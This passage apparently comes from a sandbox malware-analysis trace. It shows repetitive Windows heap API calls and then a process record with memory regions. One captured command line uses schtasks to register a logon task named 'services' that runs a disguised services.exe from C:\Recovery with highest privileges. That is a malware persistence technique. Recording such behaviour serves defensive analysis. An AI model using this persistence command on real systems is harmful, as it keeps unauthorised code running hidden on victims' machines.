[0149.071] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c350) returned 1 [0149.071] GetProcessHeap () returned 0x370000 [0149.071] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c350) returned 0x18 [0149.071] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c350 | out: hHeap=0x370000) returned 1 [0149.071] GetProcessHeap () returned 0x370000 [0149.071] GetProcessHeap () returned 0x370000 [0149.071] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385d80) returned 1 [0149.071] GetProcessHeap () returned 0x370000 [0149.071] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385d80) returned 0x20 [0149.071] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385d80 | out: hHeap=0x370000) returned 1 [0149.071] GetProcessHeap () returned 0x370000 [0149.071] GetProcessHeap () returned 0x370000 [0149.071] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38bc30) returned 1 [0149.071] GetProcessHeap () returned 0x370000 [0149.071] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38bc30) returned 0x208 [0149.072] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38bc30 | out: hHeap=0x370000) returned 1 [0149.072] GetProcessHeap () returned 0x370000 [0149.072] GetProcessHeap () returned 0x370000 [0149.072] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ba90) returned 1 [0149.072] GetProcessHeap () returned 0x370000 [0149.072] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ba90) returned 0x18 [0149.072] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ba90 | out: hHeap=0x370000) returned 1 [0149.072] GetProcessHeap () returned 0x370000 [0149.072] GetProcessHeap () returned 0x370000 [0149.072] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385c90) returned 1 [0149.072] GetProcessHeap () returned 0x370000 [0149.072] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385c90) returned 0x20 [0149.072] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385c90 | out: hHeap=0x370000) returned 1 [0149.072] GetProcessHeap () returned 0x370000 [0149.072] GetProcessHeap () returned 0x370000 [0149.072] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d2c0) returned 1 [0149.072] GetProcessHeap () returned 0x370000 [0149.073] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d2c0) returned 0x200 [0149.073] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d2c0 | out: hHeap=0x370000) returned 1 [0149.073] GetProcessHeap () returned 0x370000 [0149.073] GetProcessHeap () returned 0x370000 [0149.073] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38bad0) returned 1 [0149.073] GetProcessHeap () returned 0x370000 [0149.073] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38bad0) returned 0x18 [0149.073] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38bad0 | out: hHeap=0x370000) returned 1 [0149.073] GetProcessHeap () returned 0x370000 [0149.073] GetProcessHeap () returned 0x370000 [0149.073] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385c00) returned 1 [0149.073] GetProcessHeap () returned 0x370000 [0149.073] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385c00) returned 0x20 [0149.073] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385c00 | out: hHeap=0x370000) returned 1 [0149.074] GetProcessHeap () returned 0x370000 [0149.074] GetProcessHeap () returned 0x370000 [0149.074] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c240) returned 1 [0149.074] GetProcessHeap () returned 0x370000 [0149.074] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c240) returned 0x14 [0149.074] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c240 | out: hHeap=0x370000) returned 1 [0149.074] GetProcessHeap () returned 0x370000 [0149.074] GetProcessHeap () returned 0x370000 [0149.074] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c220) returned 1 [0149.074] GetProcessHeap () returned 0x370000 [0149.074] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c220) returned 0x18 [0149.074] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c220 | out: hHeap=0x370000) returned 1 [0149.074] GetProcessHeap () returned 0x370000 [0149.074] GetProcessHeap () returned 0x370000 [0149.074] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385b40) returned 1 [0149.074] GetProcessHeap () returned 0x370000 [0149.074] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385b40) returned 0x20 [0149.075] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385b40 | out: hHeap=0x370000) returned 1 [0149.075] GetProcessHeap () returned 0x370000 [0149.075] GetProcessHeap () returned 0x370000 [0149.075] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c260) returned 1 [0149.075] GetProcessHeap () returned 0x370000 [0149.075] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c260) returned 0x16 [0149.075] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c260 | out: hHeap=0x370000) returned 1 [0149.075] GetProcessHeap () returned 0x370000 [0149.075] GetProcessHeap () returned 0x370000 [0149.075] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38c1e0) returned 1 [0149.075] GetProcessHeap () returned 0x370000 [0149.075] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38c1e0) returned 0x18 [0149.075] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38c1e0 | out: hHeap=0x370000) returned 1 [0149.075] GetProcessHeap () returned 0x370000 [0149.075] GetProcessHeap () returned 0x370000 [0149.075] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385b10) returned 1 [0149.075] GetProcessHeap () returned 0x370000 [0149.075] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385b10) returned 0x20 [0149.076] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385b10 | out: hHeap=0x370000) returned 1 [0149.076] GetProcessHeap () returned 0x370000 [0149.076] GetProcessHeap () returned 0x370000 [0149.076] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ba10) returned 1 [0149.076] GetProcessHeap () returned 0x370000 [0149.076] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ba10) returned 0x2 [0149.076] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ba10 | out: hHeap=0x370000) returned 1 [0149.076] GetProcessHeap () returned 0x370000 [0149.076] GetProcessHeap () returned 0x370000 [0149.076] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385960) returned 1 [0149.076] GetProcessHeap () returned 0x370000 [0149.076] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385960) returned 0x20 [0149.076] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385960 | out: hHeap=0x370000) returned 1 [0149.077] GetProcessHeap () returned 0x370000 [0149.077] GetProcessHeap () returned 0x370000 [0149.077] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385990) returned 1 [0149.077] GetProcessHeap () returned 0x370000 [0149.077] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385990) returned 0x20 [0149.077] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385990 | out: hHeap=0x370000) returned 1 [0149.077] GetProcessHeap () returned 0x370000 [0149.077] GetProcessHeap () returned 0x370000 [0149.077] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x3859c0) returned 1 [0149.077] GetProcessHeap () returned 0x370000 [0149.077] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x3859c0) returned 0x20 [0149.078] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x3859c0 | out: hHeap=0x370000) returned 1 [0149.078] GetProcessHeap () returned 0x370000 [0149.078] GetProcessHeap () returned 0x370000 [0149.078] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x3859f0) returned 1 [0149.078] GetProcessHeap () returned 0x370000 [0149.078] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x3859f0) returned 0x20 [0149.078] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x3859f0 | out: hHeap=0x370000) returned 1 [0149.078] GetProcessHeap () returned 0x370000 [0149.078] GetProcessHeap () returned 0x370000 [0149.078] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cb80) returned 1 [0149.078] GetProcessHeap () returned 0x370000 [0149.078] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cb80) returned 0x20 [0149.079] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cb80 | out: hHeap=0x370000) returned 1 [0149.079] GetProcessHeap () returned 0x370000 [0149.079] GetProcessHeap () returned 0x370000 [0149.079] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d660) returned 1 [0149.079] GetProcessHeap () returned 0x370000 [0149.079] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d660) returned 0xe [0149.079] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d660 | out: hHeap=0x370000) returned 1 [0149.079] GetProcessHeap () returned 0x370000 [0149.079] GetProcessHeap () returned 0x370000 [0149.079] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cbb0) returned 1 [0149.079] GetProcessHeap () returned 0x370000 [0149.079] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cbb0) returned 0x20 [0149.079] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cbb0 | out: hHeap=0x370000) returned 1 [0149.079] GetProcessHeap () returned 0x370000 [0149.079] GetProcessHeap () returned 0x370000 [0149.079] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x387a80) returned 1 [0149.079] GetProcessHeap () returned 0x370000 [0149.079] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x387a80) returned 0x30 [0149.080] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x387a80 | out: hHeap=0x370000) returned 1 [0149.080] GetProcessHeap () returned 0x370000 [0149.080] GetProcessHeap () returned 0x370000 [0149.080] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cbe0) returned 1 [0149.080] GetProcessHeap () returned 0x370000 [0149.080] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cbe0) returned 0x20 [0149.080] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cbe0 | out: hHeap=0x370000) returned 1 [0149.081] GetProcessHeap () returned 0x370000 [0149.081] GetProcessHeap () returned 0x370000 [0149.081] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x387ac0) returned 1 [0149.081] GetProcessHeap () returned 0x370000 [0149.081] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x387ac0) returned 0x30 [0149.081] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x387ac0 | out: hHeap=0x370000) returned 1 [0149.081] GetProcessHeap () returned 0x370000 [0149.081] GetProcessHeap () returned 0x370000 [0149.081] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd60) returned 1 [0149.081] GetProcessHeap () returned 0x370000 [0149.081] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cd60) returned 0x20 [0149.082] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd60 | out: hHeap=0x370000) returned 1 [0149.082] GetProcessHeap () returned 0x370000 [0149.082] GetProcessHeap () returned 0x370000 [0149.082] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d580) returned 1 [0149.082] GetProcessHeap () returned 0x370000 [0149.082] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d580) returned 0xe [0149.082] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d580 | out: hHeap=0x370000) returned 1 [0149.082] GetProcessHeap () returned 0x370000 [0149.082] GetProcessHeap () returned 0x370000 [0149.082] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd30) returned 1 [0149.082] GetProcessHeap () returned 0x370000 [0149.082] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cd30) returned 0x20 [0149.083] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd30 | out: hHeap=0x370000) returned 1 [0149.083] GetProcessHeap () returned 0x370000 [0149.083] GetProcessHeap () returned 0x370000 [0149.083] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d5a0) returned 1 [0149.083] GetProcessHeap () returned 0x370000 [0149.083] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d5a0) returned 0x16 [0149.083] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d5a0 | out: hHeap=0x370000) returned 1 [0149.083] GetProcessHeap () returned 0x370000 [0149.083] GetProcessHeap () returned 0x370000 [0149.083] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd00) returned 1 [0149.083] GetProcessHeap () returned 0x370000 [0149.083] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cd00) returned 0x20 [0149.084] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cd00 | out: hHeap=0x370000) returned 1 [0149.084] GetProcessHeap () returned 0x370000 [0149.084] GetProcessHeap () returned 0x370000 [0149.084] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d5c0) returned 1 [0149.084] GetProcessHeap () returned 0x370000 [0149.084] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d5c0) returned 0x16 [0149.084] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d5c0 | out: hHeap=0x370000) returned 1 [0149.084] GetProcessHeap () returned 0x370000 [0149.084] GetProcessHeap () returned 0x370000 [0149.084] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ccd0) returned 1 [0149.084] GetProcessHeap () returned 0x370000 [0149.084] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ccd0) returned 0x20 [0149.084] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ccd0 | out: hHeap=0x370000) returned 1 [0149.084] GetProcessHeap () returned 0x370000 [0149.084] GetProcessHeap () returned 0x370000 [0149.084] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x3a9c40) returned 1 [0149.084] GetProcessHeap () returned 0x370000 [0149.084] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x3a9c40) returned 0x82 [0149.085] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x3a9c40 | out: hHeap=0x370000) returned 1 [0149.085] GetProcessHeap () returned 0x370000 [0149.085] GetProcessHeap () returned 0x370000 [0149.085] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cca0) returned 1 [0149.085] GetProcessHeap () returned 0x370000 [0149.085] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cca0) returned 0x20 [0149.085] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cca0 | out: hHeap=0x370000) returned 1 [0149.085] GetProcessHeap () returned 0x370000 [0149.085] GetProcessHeap () returned 0x370000 [0149.085] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d600) returned 1 [0149.085] GetProcessHeap () returned 0x370000 [0149.085] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d600) returned 0xe [0149.085] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d600 | out: hHeap=0x370000) returned 1 [0149.085] GetProcessHeap () returned 0x370000 [0149.085] GetProcessHeap () returned 0x370000 [0149.085] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc70) returned 1 [0149.085] GetProcessHeap () returned 0x370000 [0149.085] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cc70) returned 0x20 [0149.086] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc70 | out: hHeap=0x370000) returned 1 [0149.086] GetProcessHeap () returned 0x370000 [0149.086] GetProcessHeap () returned 0x370000 [0149.086] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d620) returned 1 [0149.086] GetProcessHeap () returned 0x370000 [0149.086] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d620) returned 0xa [0149.086] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d620 | out: hHeap=0x370000) returned 1 [0149.086] GetProcessHeap () returned 0x370000 [0149.086] GetProcessHeap () returned 0x370000 [0149.086] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc40) returned 1 [0149.086] GetProcessHeap () returned 0x370000 [0149.086] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cc40) returned 0x20 [0149.086] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc40 | out: hHeap=0x370000) returned 1 [0149.086] GetProcessHeap () returned 0x370000 [0149.086] GetProcessHeap () returned 0x370000 [0149.086] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38d640) returned 1 [0149.086] GetProcessHeap () returned 0x370000 [0149.086] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38d640) returned 0xc [0149.086] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38d640 | out: hHeap=0x370000) returned 1 [0149.086] GetProcessHeap () returned 0x370000 [0149.086] GetProcessHeap () returned 0x370000 [0149.086] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc10) returned 1 [0149.086] GetProcessHeap () returned 0x370000 [0149.086] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38cc10) returned 0x20 [0149.087] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38cc10 | out: hHeap=0x370000) returned 1 [0149.087] GetProcessHeap () returned 0x370000 [0149.087] GetProcessHeap () returned 0x370000 [0149.087] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ba30) returned 1 [0149.087] GetProcessHeap () returned 0x370000 [0149.087] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ba30) returned 0x18 [0149.087] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ba30 | out: hHeap=0x370000) returned 1 [0149.087] GetProcessHeap () returned 0x370000 [0149.087] GetProcessHeap () returned 0x370000 [0149.087] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385a20) returned 1 [0149.087] GetProcessHeap () returned 0x370000 [0149.087] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385a20) returned 0x20 [0149.087] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385a20 | out: hHeap=0x370000) returned 1 [0149.087] GetProcessHeap () returned 0x370000 [0149.087] GetProcessHeap () returned 0x370000 [0149.087] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385a50) returned 1 [0149.087] GetProcessHeap () returned 0x370000 [0149.088] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385a50) returned 0x20 [0149.088] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385a50 | out: hHeap=0x370000) returned 1 [0149.088] GetProcessHeap () returned 0x370000 [0149.088] GetProcessHeap () returned 0x370000 [0149.088] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385a80) returned 1 [0149.088] GetProcessHeap () returned 0x370000 [0149.088] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385a80) returned 0x20 [0149.089] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385a80 | out: hHeap=0x370000) returned 1 [0149.089] GetProcessHeap () returned 0x370000 [0149.089] GetProcessHeap () returned 0x370000 [0149.089] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385ab0) returned 1 [0149.089] GetProcessHeap () returned 0x370000 [0149.089] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385ab0) returned 0x20 [0149.089] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385ab0 | out: hHeap=0x370000) returned 1 [0149.089] GetProcessHeap () returned 0x370000 [0149.089] GetProcessHeap () returned 0x370000 [0149.089] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ba50) returned 1 [0149.089] GetProcessHeap () returned 0x370000 [0149.089] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ba50) returned 0x18 [0149.089] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ba50 | out: hHeap=0x370000) returned 1 [0149.089] GetProcessHeap () returned 0x370000 [0149.089] GetProcessHeap () returned 0x370000 [0149.089] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385ae0) returned 1 [0149.089] GetProcessHeap () returned 0x370000 [0149.089] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385ae0) returned 0x20 [0149.090] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385ae0 | out: hHeap=0x370000) returned 1 [0149.090] GetProcessHeap () returned 0x370000 [0149.090] GetProcessHeap () returned 0x370000 [0149.090] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385b70) returned 1 [0149.090] GetProcessHeap () returned 0x370000 [0149.090] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385b70) returned 0x20 [0149.090] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385b70 | out: hHeap=0x370000) returned 1 [0149.090] GetProcessHeap () returned 0x370000 [0149.090] GetProcessHeap () returned 0x370000 [0149.090] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385bd0) returned 1 [0149.090] GetProcessHeap () returned 0x370000 [0149.090] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385bd0) returned 0x20 [0149.090] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385bd0 | out: hHeap=0x370000) returned 1 [0149.090] GetProcessHeap () returned 0x370000 [0149.090] GetProcessHeap () returned 0x370000 [0149.091] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385c30) returned 1 [0149.091] GetProcessHeap () returned 0x370000 [0149.091] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385c30) returned 0x20 [0149.091] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385c30 | out: hHeap=0x370000) returned 1 [0149.091] GetProcessHeap () returned 0x370000 [0149.091] GetProcessHeap () returned 0x370000 [0149.091] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385c60) returned 1 [0149.091] GetProcessHeap () returned 0x370000 [0149.091] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385c60) returned 0x20 [0149.091] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385c60 | out: hHeap=0x370000) returned 1 [0149.091] GetProcessHeap () returned 0x370000 [0149.091] GetProcessHeap () returned 0x370000 [0149.091] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38ba70) returned 1 [0149.092] GetProcessHeap () returned 0x370000 [0149.092] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38ba70) returned 0x18 [0149.092] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38ba70 | out: hHeap=0x370000) returned 1 [0149.092] GetProcessHeap () returned 0x370000 [0149.092] GetProcessHeap () returned 0x370000 [0149.092] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x385ba0) returned 1 [0149.092] GetProcessHeap () returned 0x370000 [0149.092] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x385ba0) returned 0x20 [0149.092] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x385ba0 | out: hHeap=0x370000) returned 1 [0149.092] GetProcessHeap () returned 0x370000 [0149.092] GetProcessHeap () returned 0x370000 [0149.092] HeapValidate (hHeap=0x370000, dwFlags=0x0, lpMem=0x38b9f0) returned 1 [0149.092] GetProcessHeap () returned 0x370000 [0149.092] RtlSizeHeap (HeapHandle=0x370000, Flags=0x0, MemoryPointer=0x38b9f0) returned 0x18 [0149.092] HeapFree (in: hHeap=0x370000, dwFlags=0x0, lpMem=0x38b9f0 | out: hHeap=0x370000) returned 1 [0149.092] exit (_Code=0) Thread: id = 170 os_tid = 0xc48 Process: id = "41" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3f3f3000" os_pid = "0xc58" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"services\" /sc ONLOGON /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3464 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3465 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3466 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3467 start_va = 0x100000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3468 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3469 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3470 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3471 start_va = 0xfff90000 end_va = 0xfffd7fff monitored = 1 entry_point = 0xfffb966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3472 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3473 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3474 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3475 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3476 start_va = 0x180000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 3477 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3478 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3479 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" 